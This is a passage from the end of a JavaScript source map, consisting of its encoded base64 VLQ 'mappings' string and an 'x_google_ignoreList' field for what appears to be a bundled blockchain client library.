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","x_google_ignoreList":[32]}